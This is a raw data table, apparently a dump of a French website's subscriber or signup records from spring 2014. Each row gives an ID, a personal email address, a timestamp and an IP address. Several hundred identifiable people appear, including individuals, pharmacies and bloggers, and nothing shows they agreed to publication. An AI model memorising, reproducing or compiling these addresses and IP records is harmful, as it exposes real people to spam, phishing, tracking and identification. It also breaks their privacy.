+2889;anne_sophie.remacle@yahoo.fr;2014-03-23 21:53:50;93.1.96.178 +2891;duchaffaut_e@yahoo.fr;2014-03-23 22:41:17;90.37.111.70 +2892;MORGANE.DEMERSEMAN@GMAIL.COM;2014-03-24 09:25:27;91.90.100.155 +2893;lescoquetteriesdemiss@gmail.com;2014-03-24 10:00:18;81.64.140.35 +2894;converset.nadege@gmail.com;2014-03-24 10:17:16;86.197.202.72 +2895;aurore3195@yahoo.fr;2014-03-24 11:21:56;81.93.25.242 +2896;lemairesylvie@yahoo.fr;2014-03-24 11:51:10;194.51.110.152 +2897;absynthea@hotmail.fr;2014-03-24 12:24:06;88.127.62.11 +2898;marion.tichadou@gmail.com;2014-03-24 13:03:44;195.167.197.22 +2899;catherine.dazy@gmail.com;2014-03-24 14:04:36;212.234.218.49 +2900;familynord59@gmail.com;2014-03-24 14:34:55;91.68.136.145 +2901;marl135a@hotmail.fr;2014-03-24 15:25:17;89.91.233.192 +2903;laurence.paoli@laposte.net;2014-03-24 17:03:22;82.244.73.127 +2904;marypop91086@hotmail.com;2014-03-24 17:24:39;195.190.27.103 +2905;mr_tshirt@hotmail.com;2014-03-24 18:10:32;82.226.215.215 +2906;pauline.bezes@wanadoo.fr;2014-03-24 18:31:31;109.210.50.62 +2907;pharmaciecigognes@gmail.com;2014-03-24 18:31:40;109.217.100.219 +2908;dvqtl@neuf.fr;2014-03-24 20:45:54;78.126.65.39 +2909;misscarolo@hotmail.fr;2014-03-25 00:09:02;83.115.228.85 +2910;mbeyer@roederer.fr;2014-03-25 09:15:12;92.103.161.36 +2911;odreytitloup@hotmail.fr;2014-03-25 10:05:24;109.27.18.50 +2912;pascaline6@yahoo.fr;2014-03-25 10:07:10;78.235.88.201 +2913;pathylene.lm@gmail.com;2014-03-25 11:23:24;195.101.105.188 +2914;pharmaciedelanationale@perso.gipharnet.com;2014-03-25 11:40:26;194.5.134.161 +2915;dccecile@hotmail.fr;2014-03-25 14:13:48;80.14.151.151 +2916;annelise.fresnet@orange.fr;2014-03-25 14:40:02;81.49.81.254 +2917;chris.t.2304@gmail.com;2014-03-25 15:18:01;178.22.149.162 +2918;vidalmarja@yahoo.fr;2014-03-25 16:09:54;78.120.59.4 +2919;andreajovanovitch@yahoo.com.br;2014-03-25 16:18:46;84.97.219.90 +2920;sophietarre@yahoo.fr;2014-03-25 18:49:51;212.195.30.121 +2921;julie_bernault@hotmail.com;2014-03-25 19:53:42;78.124.47.75 +2922;lilia.taktak@gmail.com;2014-03-25 20:02:44;145.62.32.129 +2923;legall.sonia@yahoo.fr;2014-03-25 21:59:44;78.237.241.31 +2924;boterel66@gmail.com;2014-03-26 08:49:47;91.68.171.86 +2925;marine.santini@gmail.com;2014-03-26 09:48:28;141.227.1.35 +2926;benedicte.barrois@hotmail.fr;2014-03-26 10:09:31;78.228.87.88 +2927;pharmacie.madeleine@offisecure.com;2014-03-26 10:12:07;194.8.148.11 +2928;vrfavre@gmail.com;2014-03-26 10:25:45;81.220.208.21 +2929;rozenn.barrois@sederma.fr;2014-03-26 11:11:30;195.75.53.125 +2930;ncibois@hotmail.fr;2014-03-26 12:50:41;83.206.63.134 +2931;mayer.delphine@hotmail.fr;2014-03-26 13:18:36;92.103.129.198 +2932;nathalie.flament80@orange.fr;2014-03-26 18:10:04;86.198.189.120 +2933;anays_du76@hotmail.fr;2014-03-26 21:25:04;90.51.254.69 +2935;devilliers.marieclaire@outlook.fr;2014-03-26 21:59:53;84.100.24.163 +2936;ouahibam@gmail.com;2014-03-26 22:46:57;88.188.239.208 +2937;nellydoucet@neuf.fr;2014-03-26 23:52:22;95.168.2.21 +2938;ng3483@gmail.com;2014-03-27 07:48:08;83.197.137.159 +2939;mb.degroote@orange.fr;2014-03-27 13:59:56;89.170.110.49 +2940;sarahleguiffant@sfr.fr;2014-03-27 14:01:39;109.16.145.165 +2941;lea.haudiquet@gmail.com;2014-03-27 14:35:40;194.254.133.205 +2942;just.solenne@gmail.com;2014-03-27 15:53:59;192.54.145.146 +2943;guillot.solene@gmail.com;2014-03-27 15:54:25;192.54.145.146 +2944;salou.chris@orange.fr;2014-03-27 16:10:43;90.40.201.141 +2945;bataillecaroline7@gmail.com;2014-03-27 17:11:38;217.25.182.134 +2946;mariaricco@hotmail.com;2014-03-27 18:32:53;80.13.173.49 +2947;mlpleuron@hotmail.fr;2014-03-27 19:23:45;84.7.100.18 +2948;vivickyn@gmail.com;2014-03-27 20:07:35;176.189.47.141 +2949;dandydubai@gmail.com;2014-03-27 22:04:45;88.121.78.85 +2950;ele6678@hotmail.fr;2014-03-28 00:19:32;88.181.8.172 +2951;joelafada@hotmail.fr;2014-03-28 09:17:22;93.17.231.67 +2952;m.canevet@beaute-directe.fr;2014-03-28 10:45:54;89.251.61.140 +2953;isfah.nara@gmail.com;2014-03-28 11:03:34;5.48.167.6 +2954;camilleblouin@gmail.com;2014-03-28 11:26:26;62.23.93.148 +2955;sandrine.urcun@neuf.fr;2014-03-28 13:05:01;78.242.128.249 +2956;elf24@live.fr;2014-03-28 16:16:25;78.241.86.40 +2957;christelleandrevie@hotmail.com;2014-03-28 17:01:52;80.12.100.201 +2958;aur.vacher@gmail.com;2014-03-28 17:20:27;5.50.33.38 +2960;cecile.gontard@gmail.com;2014-03-28 18:35:29;84.99.218.169 +2961;pilpous29@sfr.fr;2014-03-28 21:32:24;109.16.86.158 +2962;yveline-sam@hotmail.fr;2014-03-28 22:11:07;82.229.88.147 +2963;hounsounoutoto@yahoo.fr;2014-03-29 11:34:27;78.225.164.158 +2964;tinyfroggy@hotmail.fr;2014-03-29 11:54:14;84.102.63.13 +2965;myr_blackmagic@hotmail.com;2014-03-29 13:48:48;192.134.244.241 +2966;brigitte.foiratier@live.fr;2014-03-29 15:18:46;109.10.135.200 +2967;gersende.bessede@gmail.com;2014-03-29 16:29:17;78.250.148.229 +2968;sarda.marie-ange@wanadoo.fr;2014-03-30 12:11:23;86.205.126.23 +2969;jcouprie@gmail.com;2014-03-30 12:54:59;84.74.83.249 +2970;p.mong228@gmail.com;2014-03-30 20:25:51;90.61.187.74 +2971;faustine.grange@orange.fr;2014-03-30 20:58:49;90.32.249.149 +2972;p.zouari@orange.fr;2014-03-30 22:32:46;176.182.229.226 +2973;l.atiatia10@hotmail.fr;2014-03-30 23:16:19;31.36.118.49 +2974;sevegnac@orange.fr;2014-03-31 04:39:58;90.37.62.119 +2975;monfortanne0@gmail.com;2014-03-31 09:01:12;80.118.57.167 +2976;daviddecroyere@yahoo.fr;2014-03-31 13:46:00;134.59.80.253 +2977;emilie.hoenen@gmail.com;2014-03-31 19:25:19;109.19.222.218 +2978;eleonore75@msn.com;2014-03-31 19:37:58;77.194.74.15 +2979;vblanquet@9online.fr;2014-04-01 08:23:10;88.167.74.141 +2980;bouhallier_aude@yahoo.fr;2014-04-01 11:20:11;78.246.13.92 +2981;corinbismuth@gmail.com;2014-04-01 16:55:44;86.75.17.213 +2982;julielamontagne31@hotmail.com;2014-04-01 17:58:09;142.213.11.6 +2983;maudsarahmichel@hotmail.fr;2014-04-01 18:48:02;80.215.193.178 +2984;elvire.briffaut@wanadoo.fr;2014-04-01 19:46:12;92.134.177.139 +2985;hibou1979@hotmail.fr;2014-04-01 21:35:05;84.7.191.247 +2986;amelie.mtp@gmail.com;2014-04-02 02:20:09;120.151.252.241 +2987;david.boyer849@orange.fr;2014-04-02 10:10:40;89.94.14.59 +2988;divine_freya@hotmail.com;2014-04-02 19:20:07;92.150.223.13 +2989;christel.bouton@sfr.fr;2014-04-03 02:05:52;93.15.222.177 +2990;eternal_world@hotmail.fr;2014-04-03 09:59:19;82.242.176.45 +2991;claude.dassonval@orange.fr;2014-04-03 15:42:08;81.251.219.74 +2994;sonia.studler@yahoo.fr;2014-04-04 09:45:10;193.252.222.228 +2995;ednalevy21@hotmail.com;2014-04-04 22:30:50;90.84.146.237 +2996;iedith2001@yahoo.fr;2014-04-05 02:04:36;86.74.74.241 +2997;mbyster@live.fr;2014-04-05 09:21:24;86.74.51.90 +2998;salson.florence@orange.fr;2014-04-05 10:32:11;92.133.109.22 +2999;josephsarah74@gmail.com;2014-04-05 14:49:03;37.163.225.47 +3000;marine77kyo@hotmail.com;2014-04-05 23:18:13;82.228.41.244 +3001;atalia83@orange.fr;2014-04-06 16:28:32;83.197.234.41 +3002;laure.migaud@laposte.net;2014-04-06 21:51:38;83.193.28.178 +3003;valerie_cazaux33@yahoo.fr;2014-04-06 21:59:34;88.174.222.168 +3004;bmartinbardier@free.fr;2014-04-06 23:02:08;84.101.237.187 +3005;ju_ju20@hotmail.com;2014-04-06 23:27:42;85.201.51.66 +3006;maelennsallic@yahoo.fr;2014-04-06 23:46:49;109.20.93.24 +3007;noune91@me.com;2014-04-07 08:49:18;81.80.208.198 +3008;jpsmith03@gmail.com;2014-04-07 10:46:54;109.203.67.130 +3009;jean-luc.mathieu3@wanadoo.fr;2014-04-07 18:38:42;90.58.61.142 +3010;fatiha.srhir@sfr.fr;2014-04-07 22:03:06;109.16.150.218 +3011;janet024@hotmail.fr;2014-04-08 13:44:50;193.50.95.247 +3012;gaelleseignez@gmail.com;2014-04-08 14:34:15;193.253.218.109 +3013;francoise.bryer@sfr.fr;2014-04-08 14:43:54;78.123.88.126 +3014;clemence_soumoy@yahoo.fr;2014-04-09 10:22:17;195.167.197.22 +3015;coco.rey@laposte.net;2014-04-09 11:12:22;92.146.88.169 +3016;sylviepenning@hotmail.fr;2014-04-09 16:16:01;88.141.233.15 +3017;sophie-m.petit@laposte.net;2014-04-09 17:27:52;78.126.196.215 +3018;lauriecanel@hotmail.fr;2014-04-09 22:27:34;82.33.220.194 +3019;shyniz33@hotmail.fr;2014-04-10 00:08:47;79.86.179.196 +3020;laurence.inguimbert@laposte.net;2014-04-10 13:58:38;92.158.185.144 +3021;pharmacie-clos-montesquieu@orange.fr;2014-04-10 18:23:10;80.11.102.163 +3022;cawalch@laposte.net;2014-04-10 20:04:16;95.171.138.173 +3023;ktyglaizal@hotmail.fr;2014-04-10 20:34:36;78.125.185.58 +3024;redsibylline@hotmail.com;2014-04-11 16:17:45;93.14.69.6 +3025;anne.dubouix@gmail.com;2014-04-11 17:53:06;82.125.130.238 +3026;dpce@laposte.net;2014-04-12 11:51:19;78.250.97.33 +3027;iwona.szpack@gmail.com;2014-04-12 21:38:06;82.228.6.128 +3028;david.59100@hotmail.fr;2014-04-13 11:02:02;89.224.219.102 +3029;frederiquedesvalois87@gmail.com;2014-04-13 14:37:08;109.214.103.115 +3030;alicelivia2a@gmail.com;2014-04-13 19:12:19;92.153.138.25 +3031;agnes.rodier@hotmail.fr;2014-04-14 11:15:24;89.3.161.109 +3032;mayouto@hotmail.fr;2014-04-14 15:39:53;88.172.61.28 +3033;kiwi1155@yahoo.fr;2014-04-14 15:43:32;88.172.127.83 +3034;s.tattegrain@free.fr;2014-04-14 20:41:24;82.235.140.15 +3035;carre.celine@live.fr;2014-04-15 11:54:40;31.38.179.169 +3036;nathalie.coste348@orange.fr;2014-04-15 19:04:16;93.10.152.205 +3037;cecilhat@wanadoo.fr;2014-04-15 22:01:55;92.143.253.128 +3038;poupouille_chloe@hotmail.fr;2014-04-15 23:24:56;86.220.147.114 +3039;nicoleherrewyn@wanadoo.fr;2014-04-16 16:41:18;90.59.37.56 +3040;lehila.merir@hotmail.fr;2014-04-16 22:48:00;78.236.38.153 +3041;l_indienne57@hotmail.com;2014-04-17 03:42:56;92.138.216.54 +3042;maite.popinet@loccitane.com;2014-04-17 11:40:14;194.149.94.118 +3043;frederiqueclement@sfr.fr;2014-04-17 13:04:32;88.182.35.60 +3044;lrlolita@aol.com;2014-04-17 15:10:03;109.214.108.58 +3045;dlecoz@me.com;2014-04-18 00:14:12;83.205.166.88 +3047;nadine.coyaud@bbox.fr;2014-04-18 14:39:08;81.57.119.171 +3048;jeanine.arnaud004@orange.fr;2014-04-18 14:39:35;81.57.119.171 +3049;samia948000@yahoo.fr;2014-04-18 14:39:43;81.57.119.171 +3051;sophie.tirand@free.fr;2014-04-18 14:40:00;81.57.119.171 +3052;drsmenager@gmail.com;2014-04-18 14:40:11;81.57.119.171 +3054;brigitte.bossard@orange.fr;2014-04-18 14:40:41;81.57.119.171 +3055;carolineli121@hotmail.com;2014-04-18 14:40:49;81.57.119.171 +3056;josephine.abad@laposte.net;2014-04-18 14:40:57;81.57.119.171 +3057;annabelle.martin41@sfr.fr;2014-04-18 14:41:04;81.57.119.171 +3058;aranytoth@gmail.com;2014-04-18 14:41:12;81.57.119.171 +3059;annefleur.perez@gmail.com;2014-04-18 15:54:13;77.242.202.245 +3060;sophie.roy0@orange.fr;2014-04-18 17:49:55;92.151.221.83 +3061;stephanie-fayard@live.fr;2014-04-18 18:00:07;88.160.222.92 +3062;ines.rigeot@gmail.com;2014-04-18 18:16:38;78.113.32.206 +3063;muriellebzx@orange.fr;2014-04-18 19:32:08;90.16.210.97 +3064;virginieverhaeghe07@gmail.com;2014-04-19 00:48:34;2.3.207.178 +3065;in.bouchard@laposte.net;2014-04-19 14:47:27;92.90.20.210 +3066;tylou@wanadoo.fr;2014-04-19 17:52:53;82.126.48.243 +3067;tolassyec@live.fr;2014-04-20 02:50:56;193.251.162.5 +3068;labbey.patrice@orange.fr;2014-04-20 08:21:52;109.221.129.41 +3069;annelecorre@wanadoo.fr;2014-04-20 16:45:19;81.53.178.167 +3070;didier.loubaney@sfr.fr;2014-04-21 11:06:23;88.141.44.119 +3071;ddupire@hotmail.fr;2014-04-21 12:34:08;90.15.101.238 +3072;sylviepezeril@live.fr;2014-04-22 08:48:31;82.249.58.250 +3075;rose.lefrancois@gmail.com;2014-04-22 15:18:13;81.57.119.171 +3077;tellvirginie@yahoo.fr;2014-04-22 17:00:15;81.57.119.171 +3078;embareck.edouard@neuf.fr;2014-04-23 12:56:03;109.18.173.188 +3079;ch.grosse@free.fr;2014-04-23 13:22:04;81.53.173.151 +3080;patricia.ghasemi@laposte.net;2014-04-23 16:54:22;88.162.98.67 +3081;pogyfabienne@free.fr;2014-04-23 18:58:41;88.185.113.219 +3082;christine.bazerque@laposte.net;2014-04-23 20:10:01;89.90.145.232 +3083;carael@free.fr;2014-04-23 21:33:53;83.155.20.94 +3084;alainetchristine.sicard@sfr.fr;2014-04-23 22:52:52;92.149.9.181 +3085;lili.jg@voila.fr;2014-04-23 22:54:36;83.198.187.5 +3086;catherine@phyts.com.au;2014-04-24 04:24:10;58.104.26.34 +3087;elisabeth.sicre@free.fr;2014-04-24 09:53:31;92.145.76.150 +3088;nicole.buard@neuf.fr;2014-04-24 11:15:50;78.112.45.119 +3089;1001basma@orange.fr;2014-04-24 11:16:01;81.51.229.245 +3091;priscille.paire@gmail.com;2014-04-24 16:57:23;213.190.76.3 +3092;lemeur.quiniou.troadec@offisecure.com;2014-04-24 17:01:10;194.8.148.136 +3093;michele.marani@free.fr;2014-04-24 17:52:50;78.236.236.50 +3094;marie-christine.juvigny@wanadoo.fr;2014-04-24 19:44:36;2.11.90.35 +3095;martine.marti@bluewin.ch;2014-04-24 22:53:10;85.5.142.86 +3096;sophie.vendange@free.fr;2014-04-25 07:26:04;88.124.16.28 +3097;sophie.ecuyer@live.fr;2014-04-25 14:00:56;80.79.80.233 +3098;foufou-kari@live.fr;2014-04-25 21:29:17;82.231.173.250 +3099;morjane2@outlook.fr;2014-04-25 21:29:43;82.231.173.250 +3100;b.michele75@yahoo.fr;2014-04-26 13:11:07;86.64.193.15 +3101;fanfan.maillot@free.fr;2014-04-26 14:49:30;82.232.223.185 +3102;silvie44600@hotmail.fr;2014-04-26 15:39:20;79.88.180.148 +3103;evelyne.habert@gmail.com;2014-04-26 19:52:38;78.203.102.86 +3104;Isabelle_massy@yahoo.fr;2014-04-26 20:08:10;90.2.125.208 +3105;Ka@campistron.net;2014-04-27 23:01:00;83.200.212.107 +3106;frederique-ligot@sfr.fr;2014-04-28 10:26:33;109.190.117.34 +3107;berangere.bouchard@laposte.net;2014-04-28 12:02:12;92.90.16.129 +3108;lea.charransol@laposte.net;2014-04-28 21:21:33;86.74.38.2 +3109;munari.severine@yahoo.fr;2014-04-29 07:51:51;82.248.191.107 +3110;eric@perceval.org;2014-04-29 14:14:44;109.190.91.210 +3111;chantal.satre@ac-lyon.fr;2014-04-29 15:17:56;195.83.15.194 +3112;andfollowme@hotmail.fr;2014-04-30 20:59:09;92.134.248.134 +3113;aurore.immo@live.fr;2014-05-01 12:30:21;77.203.106.47 +3114;dorialdr@gmail.com;2014-05-01 14:41:03;86.220.151.132 +3115;sylvie.tom.st@gmail.com;2014-05-01 17:01:32;77.206.12.202 +3116;alexandracoulon2@orange.fr;2014-05-01 19:53:48;86.216.172.15 +3117;emiliebessy@yahoo.fr;2014-05-02 12:56:24;80.215.198.64 +3118;sophie.keraudren@hotmail.fr;2014-05-02 13:55:35;2.8.157.77 +3119;chantal.prevot@voo.be;2014-05-02 21:27:40;85.27.85.100 +3120;adrienne.ingallina@sfr.fr;2014-05-03 00:06:38;79.89.180.224 +3121;calbrix-isabelle@orange.fr;2014-05-03 18:52:07;92.132.68.241 +3122;Sergierm@yahoo.fr;2014-05-04 09:45:26;109.14.68.197 +3123;chauveau.h@wanadoo.fr;2014-05-04 11:36:53;90.19.245.247 +3124;teresa_masia@hotmail.com;2014-05-04 22:23:47;82.246.122.75 +3125;l.andreutti@orange.fr;2014-05-05 12:39:31;132.168.88.81 +3126;garciadelphine@free.fr;2014-05-05 16:20:39;82.232.165.28 +3127;christellejezequel@gmail.com;2014-05-06 15:37:42;90.1.250.59 +3128;dominique@chalets-lacroix.com;2014-05-06 19:29:27;88.137.12.191 +3129;mayllaloup@gmail.com;2014-05-06 22:31:13;90.22.47.219 +3130;isabellesonet210671@gmail.com;2014-05-07 14:50:48;109.129.18.246 +3131;raziel03@live.fr;2014-05-08 18:29:06;93.8.247.107 +3132;lnm.flg@gmail.com;2014-05-08 22:49:27;89.83.205.149 +3133;maquii@voila.fr;2014-05-10 17:25:19;92.140.179.12 +3134;florenceleroy@yahoo.fr;2014-05-10 21:40:23;78.116.77.98 +3135;florence.benbaali@cegetel.net;2014-05-10 23:02:50;86.72.110.143 +3136;sardine.pomies@orange.fr;2014-05-11 14:00:17;92.146.157.203 +3137;marianne.boudet25@orange.fr;2014-05-12 10:39:06;81.57.119.171 +3138;m.petrier@gmail.com;2014-05-12 10:39:16;81.57.119.171 +3139;lucie_f66@hotmail.fr;2014-05-12 12:38:43;82.224.106.62 +3140;heurtevin.emeline@gmail.com;2014-05-12 14:30:52;88.173.26.27 +3141;wiatykisa@free.fr;2014-05-13 15:29:46;130.79.54.10 +3142;claire@galaxia.fr;2014-05-14 01:21:28;82.229.98.201 +3143;lysm60@gmail.com;2014-05-14 11:23:47;88.136.237.35 +3144;sdunand@passeportsante.net;2014-05-14 14:30:28;92.103.106.88 +3145;clau.filliatre@yahoo.fr;2014-05-14 15:59:38;90.25.45.235 +3146;herpjose@orange.fr;2014-05-14 19:51:25;92.155.238.208 +3147;marion-lahalle@hotmail.fr;2014-05-15 11:06:52;194.51.82.84 +3148;ruterdavid@gmail.com;2014-05-15 17:34:55;78.211.177.8 +3149;annaprovoost@hotmail.com;2014-05-15 17:59:45;88.188.184.46 +3150;ninielaize@hotmail.com;2014-05-15 18:13:57;81.48.152.22 +3151;annesophie07200@yahoo.fr;2014-05-16 12:34:20;78.120.135.199 +3152;valerie.trevien@orange.fr;2014-05-16 13:59:52;92.135.120.88 +3153;aurore.perraudin@sfr.fr;2014-05-16 14:17:17;78.122.117.214 +3154;damageux.sylvie@orange.fr;2014-05-16 14:43:27;92.162.144.97 +3155;vb42100@yahoo.fr;2014-05-16 15:36:45;82.247.32.36 +3156;burlet.bernadette@gmail.com;2014-05-16 22:09:37;89.3.201.250 +3157;myriam.roques@9online.fr;2014-05-18 10:51:23;83.153.222.213 +3158;newsletterbeautybrand@gmail.com;2014-05-18 15:46:20;90.12.159.137 +3159;noukie67@yahoo.fr;2014-05-19 10:28:59;213.169.187.239 +3160;florian@beautistas.com;2014-05-19 17:40:07;81.255.155.160 +3161;littleablog@hotmail.com;2014-05-20 12:27:46;84.101.154.90 +3162;mirtylle1@yahoo.fr;2014-05-21 11:37:32;192.196.142.22 +3163;elisefarine@msn.com;2014-05-21 11:40:18;83.193.72.94 +3164;sylvianelesage@wanadoo.fr;2014-05-21 11:40:25;109.1.191.50 +3165;pinunosss@hotmail.com;2014-05-21 11:40:27;86.69.185.36 +3166;Dolores2408@hotmail.fr;2014-05-21 11:40:58;109.31.181.119 +3167;jerom69@free.fr;2014-05-21 11:42:24;82.235.17.91 +3168;dombale2011@hotmail.fr;2014-05-21 11:42:38;82.235.17.91 +3169;jero69006@free.fr;2014-05-21 11:42:45;82.235.17.91 +3170;nathalie.brossel@hotmail.com;2014-05-21 11:42:51;89.3.202.210 +3171;virgiduha@hotmail.fr;2014-05-21 11:42:57;86.67.8.21 +3172;isabelledumas@laposte.net;2014-05-21 11:43:43;88.174.125.198 +3173;fancynamehere@gmail.com;2014-05-21 11:44:25;2.8.126.29 +3174;aurelie.hanut@gmail.com;2014-05-21 11:45:12;213.246.237.146 +3175;bhouy@rocketmail.com;2014-05-21 11:46:37;78.239.244.55 +3176;hillswick2@gmail.com;2014-05-21 11:48:57;167.83.9.20 +3177;manon.letessier@gmail.com;2014-05-21 11:49:10;81.255.154.161 +3178;kfor99.100834@gmail.com;2014-05-21 11:49:16;81.255.154.161 +3179;catherine@nougmanov.com;2014-05-21 11:49:55;84.103.62.47 +3180;pkohrmann@yahoo.fr;2014-05-21 11:50:27;87.100.95.198 +3181;elisaguichard@neuf.fr;2014-05-21 11:50:45;109.190.9.181 +3182;sylvielovergne@hotmail.fr;2014-05-21 11:52:37;82.247.26.220 +3183;flaws.and.all@hotmail.fr;2014-05-21 11:52:43;46.193.64.59 +3184;Gilly09@free.fr;2014-05-21 11:53:13;78.248.21.25 +3185;Batoul-elharake@laposte.net;2014-05-21 11:54:05;93.2.237.213 +3186;Columbia62@wanadoo.fr;2014-05-21 11:54:12;88.164.108.212 +3187;pngahinet@gmail.com;2014-05-21 11:54:59;88.188.47.119 +3188;MAACCHE@HOTMAIL.FR;2014-05-21 11:55:21;82.225.205.48 +3189;memphis_may_fire@outlook.fr;2014-05-21 11:55:27;109.25.175.10 +3190;ANGEL7262@HOTMAIL.FR;2014-05-21 11:55:35;5.49.132.61 +3191;Aurelierusig@gmail.com;2014-05-21 11:57:21;92.90.16.53 +3192;salyy_@hotmail.fr;2014-05-21 11:57:30;80.215.203.145 +3193;maline.sa@sfr.fr;2014-05-21 11:57:57;78.241.245.225 +3194;lostri@hotmail.fr;2014-05-21 11:58:32;84.100.105.45 +3195;cozickatell@orange.fr;2014-05-21 11:58:55;81.53.209.11 +3196;lucile.coulomb@hotmail.fr;2014-05-21 11:59:12;82.234.169.125 +3197;mgrebot@hotmail.fr;2014-05-21 11:59:35;109.14.189.187 +3198;cattleya_63@hotmail.com;2014-05-21 12:00:38;90.9.224.200 +3199;lemaolaurence@yahoo.fr;2014-05-21 12:04:10;2.2.87.104 +3200;stephanie.le.bronnec@gmail.com;2014-05-21 12:05:40;80.12.59.123 +3201;richard.jacques31@sfr.fr;2014-05-21 12:09:06;88.139.98.7 +3203;mathilde.p-r@hotmail.fr;2014-05-21 12:12:35;89.2.166.78 +3204;erikar057@aol.com;2014-05-21 12:14:57;92.148.232.181 +3205;Hanenejemili@hotmail.com;2014-05-21 12:21:06;90.84.145.66 +3206;imuhara@hotmail.com;2014-05-21 12:22:43;194.59.180.28 +3207;aurelie.avon@orange.fr;2014-05-21 12:25:29;80.12.100.230 +3208;mimi3631@hotmail.fr;2014-05-21 12:27:30;78.243.214.101 +3209;segolenepanaget@gmail.com;2014-05-21 12:30:30;88.139.229.211 +3210;audreypissard@orange.fr;2014-05-21 12:33:13;92.162.96.9 +3211;nat.bar@voila.fr;2014-05-21 12:38:59;92.130.88.83 +3212;angeliquelesiak9@gmail.com;2014-05-21 12:46:59;2.5.41.141 +3213;ninie10160@hotmail.fr;2014-05-21 12:47:27;90.1.212.220 +3214;mlle.0cei@live.fr;2014-05-21 12:50:01;82.251.249.164 +3215;elodien_7@hotmail.com;2014-05-21 12:56:26;78.246.165.79 +3216;niepceron_elodie@yahoo.fr;2014-05-21 12:56:48;78.246.165.79 +3217;laceandwhiskey.blog@gmail.com;2014-05-21 13:00:33;109.31.78.82 +3218;pkaiser@sfr.fr;2014-05-21 13:04:27;109.30.64.98 +3219;annelyse.mercier0107@gmail.com;2014-05-21 13:14:15;195.6.68.51 +3220;saphir60@hotmail.fr;2014-05-21 13:21:09;217.167.232.237 +3221;jojovape@gmail.com;2014-05-21 13:23:12;82.239.38.88 +3222;Alexine23@hotmail.fr;2014-05-21 13:25:27;82.229.45.7 +3223;didine-43@hotmail.fr;2014-05-21 13:29:04;86.207.100.89 +3224;sophie2476@hotmail.com;2014-05-21 13:32:34;79.93.15.2 +3225;Arn.deryckere@orange.fr;2014-05-21 13:34:01;90.58.93.61 +3226;doriane.buffat@gmail.com;2014-05-21 13:35:32;62.85.128.145 +3227;hogard.laura@gmail.com;2014-05-21 13:37:44;81.57.119.171 +3228;melanie.lgall@gmail.com;2014-05-21 13:43:04;46.218.12.146 +3229;anne.maren@neuf.fr;2014-05-21 13:53:51;78.243.210.143 +3230;carollemiranda@hotmail.fr;2014-05-21 14:07:34;193.188.212.244 +3231;elodiemillet10@yahoo.fr;2014-05-21 14:11:31;92.131.101.9 +3232;sandra.toto@wanadoo.fr;2014-05-21 14:15:54;90.36.54.205 +3233;lombardo974@hotmail.fr;2014-05-21 14:24:34;188.115.78.247 +3234;skpegase@yahoo.fr;2014-05-21 14:29:04;82.226.5.172 +3235;marie4288@hotmail.fr;2014-05-21 14:34:13;90.15.25.155 +3236;Sandragem@hotmail.fr;2014-05-21 14:54:54;82.243.120.145 +3237;raph91220@live.fr;2014-05-21 14:56:44;82.232.101.246 +3238;esther.moroni@laposte.net;2014-05-21 15:07:13;82.127.156.189 +3239;c.blanquart0@laposte.net;2014-05-21 15:10:52;90.7.34.123 +3240;virginie@easyparapharmacie.com;2014-05-21 15:14:06;90.85.29.157 +3241;zh.damon@gmail.com;2014-05-21 15:14:27;86.69.128.252 +3242;marie-pierre.berthod@laposte.net;2014-05-21 15:23:39;2.3.192.92 +3243;domialaize@me.com;2014-05-21 15:23:53;92.90.16.125 +3244;lasheras.laeticia@orange.fr;2014-05-21 15:35:38;2.6.162.125 +3245;val444@aliceadsl.fr;2014-05-21 15:36:26;109.221.55.218 +3246;s.marras@neopost.fr;2014-05-21 15:39:58;194.250.240.41 +3247;nath_spoun@hotmail.com;2014-05-21 15:40:56;217.128.251.59 +3248;regine.devos@orange.fr;2014-05-21 15:42:45;86.220.14.231 +3249;ami143@hotmail.fr;2014-05-21 15:44:16;77.196.49.180 +3250;romy.vandepoorter@gmail.com;2014-05-21 15:53:56;109.9.138.24 +3251;alex.frnbdt@gmail.com;2014-05-21 16:03:54;83.193.72.94 +3252;lesparcsdelasauze@hotmail.fr;2014-05-21 16:04:00;83.193.72.94 +3253;elisefarine@orange.fr;2014-05-21 16:04:04;83.193.72.94 +3254;liliebonie@gmail.com;2014-05-21 16:04:14;83.193.72.94 +3255;bertranddupont90@gmail.com;2014-05-21 16:05:56;213.166.207.113 +3256;yoseverine59@msn.com;2014-05-21 16:07:14;5.48.53.161 +3257;sandrablach@yahoo.fr;2014-05-21 16:09:48;81.56.19.171 +3258;miel.veronique14@gmail.com;2014-05-21 17:06:25;89.156.83.237 +3259;doudoumag@hotmail.fr;2014-05-21 17:07:53;85.170.124.215 +3260;mademoisellemaissa@hotmail.fr;2014-05-21 17:13:01;109.23.98.223 +3261;oliviaa-lefebvre@hotmail.fr;2014-05-21 17:16:31;109.23.118.121 +3262;yora2004@wanadoo.fr;2014-05-21 17:20:33;83.203.69.89 +3263;cgwend@hotmail.fr;2014-05-21 17:28:40;92.88.122.91 +3265;melanie.courtinat@gmail.com;2014-05-21 17:54:44;88.171.49.235 +3266;xco71@yahoo.fr;2014-05-21 18:00:52;109.28.233.199 +3267;vero.largeron@gmail.com;2014-05-21 18:25:39;109.16.139.36 +3268;littlefairy_angel@yahoo.fr;2014-05-21 19:06:32;88.122.16.153 +3269;petillante51@gmail.com;2014-05-21 19:07:47;89.89.199.229 +3270;marine.jaeckel@yahoo.fr;2014-05-21 19:30:22;81.67.228.205 +3271;cestmonavis@live.fr;2014-05-21 20:17:55;31.34.68.220 +3272;misscupcakestrawberry@gmail.com;2014-05-21 20:24:34;31.32.147.211 +3273;v.poss@wanadoo.fr;2014-05-21 20:30:24;90.48.158.102 +3274;Nath2711@hotmail.com;2014-05-21 20:38:01;92.95.72.32 +3275;alice.lemal@sfr.fr;2014-05-21 20:45:06;78.112.129.20 +3276;amelie.boisteux@laposte.net;2014-05-21 20:46:35;109.31.230.187 +3277;anne14_01@hotmail.com;2014-05-21 21:42:23;2.3.203.12 +3278;yoyoetpascaline@live.fr;2014-05-21 21:54:09;109.215.103.57 +3279;camillelequeux@hotmail.fr;2014-05-21 22:04:28;78.241.93.47 +3280;lethien.e@live.fr;2014-05-21 22:28:35;88.161.222.58 +3281;Myriam.reynaud-cleyet@grainedepastel.com;2014-05-21 22:34:39;80.215.167.207 +3282;stefrouhling@orange.fr;2014-05-21 22:38:36;83.196.154.210 +3283;danjouludivine@yahoo.fr;2014-05-21 23:00:43;78.249.162.69 +3284;Guillard.vanessa@bbox.fr;2014-05-21 23:15:04;31.32.59.249 +3285;delbourglisa@orange.fr;2014-05-21 23:21:00;31.33.93.142 +3286;estell4@hotmail.fr;2014-05-21 23:27:05;90.12.250.252 